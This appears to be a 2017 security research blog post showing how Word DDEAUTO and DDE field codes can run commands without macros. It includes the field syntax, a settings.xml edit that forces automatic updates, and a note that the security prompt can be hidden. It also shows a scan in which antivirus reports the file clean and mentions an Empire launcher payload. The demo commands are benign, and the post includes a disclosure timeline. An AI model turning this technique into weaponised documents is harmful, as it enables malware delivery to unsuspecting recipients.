Our Blog



Macro-less Code Exec in MSWord

Reading time ~5 min

Posted by saif on 09 October 2017

Categories: Exploit, Office

Authors: Etienne Stalmans, Saif El-Sherei

What if we told you that there is a way to get command execution on MSWord without any Macros, or memory corruption?!

"

Windows provides several methods for transferring data between applications. One method is to use the Dynamic Data Exchange (DDE) protocol. The DDE protocol is a set of messages and guidelines. It sends messages between applications that share data and uses shared memory to exchange data between applications. Applications can use the DDE protocol for one-time data transfers and for continuous exchanges in which applications send updates to one another as new data becomes available.

"

In our context DDE works by executing an application, that will provide the data (data provider). In a previous post¹ We discussed using DDE in MSExcel to gain command execution, and have had great success in using this technique to bypass macro filtering mail gateways and corporate VBA policies. DDE isn't only limited to Excel and Word has had DDE capabilities all this time. This has been



DDE and Office

While Etienne and myself were looking into the some interesting COM objects, specifically relating to MS Office, we noticed that the COM methods DDEInitialize, and DDEExecute were exposed by both MSExcel, and MSWord. Since DDE gave us command execution on MSExcel, we decided to embark on a journey to discover how we can use DDE in MSWord and to see if command execution could also be achieved from it.

After relentless research we found that DDE in MSWord is used, in fields, to add a field to MSWord you need to do the following:

Insert tab -> Quick Parts -> Field



Choose = (Formula) and click ok.

(All) Field names: - (Formula) AddressBlock Advance Ask Author AutoNum AutoNumGl AutoText AutoText AutoText AutoText AutoText Bibliography	Tables	<u>C</u> ategories:	Click the button below to set advanced field options
Field names: Field names: Formula Formula Formula Formula Formula Formula		(All)	×
Image: constraint of the system of the sy		Field names:	Formula
AddressBlock Advance Ask Author AutoNum AutoNumLgl AutoNumOut AutoTextt AutoTextList BarCode Bibliography BidiOutline Citation Comments Compare CreateDate Database		= (Formula)	
Advance Ask Author AutoNum AutoNum AutoNumGl AutoNumOut AutoText AutoTextList BarCode Bibliography BidiOutline Citation Comments Compare CreateDate Database		AddressBlock	
Ask Author AutoNum AutoNumLgl AutoText AutoTextList BarCode Bibliography BidOutline Citation Comments Compare CreateDate Database		Advance	
Author AutoNum AutoNumLgl AutoNumOut AutoText AutoTextList BarCode Bibliography BidiOutline Citation Comments Compare CreateDate Database		Ask	
AutoNum AutoNumLgl AutoNumOut AutoText AutoTextList BarCode Bibliography BidiOutline Citation Comments Comments Compare CreateDate Database		Author	
AutoNumLgl AutoNumOut AutoText AutoTextList BarCode Bibliography BidiOutline Citation Comments Comments Compare CreateDate Database		AutoNum	
AutoNumOut AutoText AutoText AutoTextList BarCode Bibliography BidiOutline Citation Comments Compare CreateDate Database		AutoNumLgl	
AutoText AutoTextList BarCode Bibliography BidlOutline Citation Comments Compare CreateDate Database		AutoNumOut	
AutoTextList BarCode Bibliography BidiOutline Citation Comments Compare CreateDate Database		AutoText	
BarCode Bibliography BidiOutline Citation Comments Compare CreateDate Database		AutoTextList	
Bibliography BidiOutline Citation Comments Compare CreateDate Database		BarCode	
BidiOutline Citation Comments Compare CreateDate Database		Bibliography	
Citation Comments Compare CreateDate Database		BidiOutline	
Comments Compare CreateDate Database		Citation	
Compare CreateDate Database		Comments	
CreateDate Database		Compare	
Database		CreateDate	
Treverie rottinuturi apautes		Database	✓ Preserve formatting during updates
		Description.	
Description.		Calculate the result of an exp	ression
Calculate the result of an expression			
Calculate the result of an expression		Field Codes	OK Care

Orange

After that, you should see a Field inserted in the document with an error "**!Unexpected End of Formula**", right-click the Field, and choose Toggle Field Codes.



The Field Code should now be displayed, change it to Contain the following:

```
{DDEAUTO c:\\windows\\system32\\cmd.exe "/k calc.exe" }
```

The DDEAUTO keyword is to inform MSWord that this is a DDE field, and will auto execute when the document is opened, the second part is the full path of the executable to execute, and the last part between quotes are the arguments to pass to this executable (execute calc.exe).



G.	Font	L2	Paragraph	E.		
	Testing DDE in word					
		lows\\system	22\\cmd ava "/k	calc ava		
	DDEA010 C. ((wind	lows((syster)	nsz ((chia.exe /k	calc.exe	」 (Ctrl) ▼	
						٦

An alternative method is to use

CTRL+F9

to create an empty Field Identifier, and insert the DDE formula directly.

Now save the document as a normal word document ".docx", and open it on any machine.



The first warning is to update the document links, nothing malicious there.

orange[®] Orange

Testi Microsoft Word !Une This document contains links that may refer to other files. Do you want to update this document with from the linked files?	×
Testi Microsoft Word !Une This document contains links that may refer to other files. Do you want to update this document with from the linked files?	×
Testi Microsoft Word !Une This document contains links that may refer to other files. Do you want to update this document with from the linked files?	×
Testi Microsoft Word !Une This document contains links that may refer to other files. Do you want to update this document with from the linked files?	×
Testi Microsoft Word !Une This document contains links that may refer to other files. Do you want to update this document with from the linked files?	×
Testi Microsoft Word !Une This document contains links that may refer to other files. Do you want to update this document with from the linked files?	×
!Une This document contains links that may refer to other files. Do you want to update this document wit from the linked files?	
This document contains links that may refer to other files. Do you want to update this document wit from the linked files?	
	th the data
Show Help >>	
Yes No	

The second prompt asks the user whether or not they want to execute the specified application, now this can be considered as a security warning since it asks the user to execute "cmd.exe", however with proper syntax modification it can be hidden.

Orange Cyberdefense orange Font Paragraph Styles 3 8 1.2 1.2 Testing DDE in word Unexpected E Microsoft Word \times The remote data (k calc.exe) is not accessible. Do you want to start the application ? c:\windows\system32\cmd.exe? Yes No

When the victim clicks yes

=	STANDA	RD		2·A·BBBBB
			0	is Pangrapa
мс %	MR M+	M-	MS M"	
CE	с	0	÷	soft Ward
7	8	9	×	Mond can't get data from chuindows/aystems
4	5	6	-	
1	2	3	+	
±	0		=	

And the best thing, no Macros, no Security warnings, and ...



Orange Cyberdefense

show by files

+	Antivirus -	Results 2
\checkmark	Ad-Aware Pro	Clean
\checkmark	AhnLab V3 Internet Security	Clean
\checkmark	Arcavir Antivirus 2014	Clean
\checkmark	avast! Internet Security	Clean
\checkmark	AVG Anti-Virus	Clean
\checkmark	Avira Antivirus Suite	Clean
\checkmark	Bitdefender Antivirus Plus	Clean
\checkmark	BullGuard Antivirus	Clean
\checkmark	Clam AntiVirus	Clean
\checkmark	COMODO Internet Security	Clean
\checkmark	Emsisoft Anti-Malware	Clean
~	eScan Antivirus	Clean
\checkmark	ESET NOD32 Antivirus	Clean
\checkmark	F-PROT Antivirus for Windows	Clean
\checkmark	F-Secure Internet Security 2014	Clean
\checkmark	G Data AntiVirus	Clean
\checkmark	IKARUS anti.virus	Clean
\checkmark	Jiangmin Antivirus 2011	Clean
\checkmark	K7 UltimateSecurity	Clean
\checkmark	Kaspersky Anti-Virus	Clean
\checkmark	Malwarebytes Anti-Malware	Clean
\checkmark	McAfee Total Protection	Clean
\checkmark	McAfee VirusScan Enterprise	Clean
\checkmark	Nano Antivirus	Clean
\checkmark	Outpost Antivirus Pro	Clean
\checkmark	Panda Global Protection 2014	Clean
\checkmark	Quick Heal Internet Security	Clean
\checkmark	Solo Antivirus	Clean
\checkmark	Sophos Anti-Virus	Clean
\checkmark	SUPERAntiSpyware	Clean
\checkmark	Symantec Endpoint Protection	Clean
\checkmark	Total Defence Anti-Virus 2011	Clean
\checkmark	TrustPort Antivirus	Clean
\checkmark	Twister Antivirus	Clean
\checkmark	VBA32 Anti-Virus	Clean
\checkmark	VirIT eXplorer	Clean
\checkmark	Windows Defender	Clean
\checkmark	Zillya! Internet Security	Clean

Shells

As a PoC we compiled a demonstration video with an Empire launcher armed document, the same one scanned above, using the following payload :D



A final note;

The same can be achieved using the "DDE" field identifier:

{DDE "c:\\windows\\system32\\cmd.exe" "/c notepad" }

but you will then need to modify the .docx to enable automatic link updating. To do this, open the .docx in an archive manager and open *word/settings.xml*. Now insert the following XML tag into the docPr element:

<w:updateFields w:val="true"/>

Save the settings file, update the archive. And Word will now prompt to auto update links, with a slightly different prompt from before, but with the exact same result as DDEAUTO.

Microsoft \	Word ×
	This document contains fields that may refer to other files. Do you want to update the fields in this document?

A slightly different message from Word.

Disclosure Timeline:

- 23/08/2017 Reported to Microsoft to see if they are interested in a fix.
- 23/08/2017 Microsoft responded that they successfully reproduced the issue and ask for more details.



Additional Resources

- 1. https://sensepost.com/blog/2016/powershell-c-sharp-and-dde-the-power-within/
- 2. http://pwndizzle.blogspot.com.es/2017/03/office-document-macros-ole-actions-dde.html

Get in touch with us

sensepost@orangecyberdefense.com

Please select your enquiry type, and we'll get back to you as soon as possible

General

Name

Email address

Contact Number

Your message

Get in touch

By clicking 'Get in touch' you agree to Orange Cyberdefense's Terms of Service

Pretoria (Head Office)

//



London (Head Office)

+44 (0)2070 781 360

SensePost, 250 Waterloo Road, SE1 8RD, London, United Kingdom

Cape Town

+27 (0)12 460 0880 183 Albion Springs Corner Main Road &, Albion Springs CI,, Rondebosch, Cape Town, South Africa

© Orange Cyberdefense 2022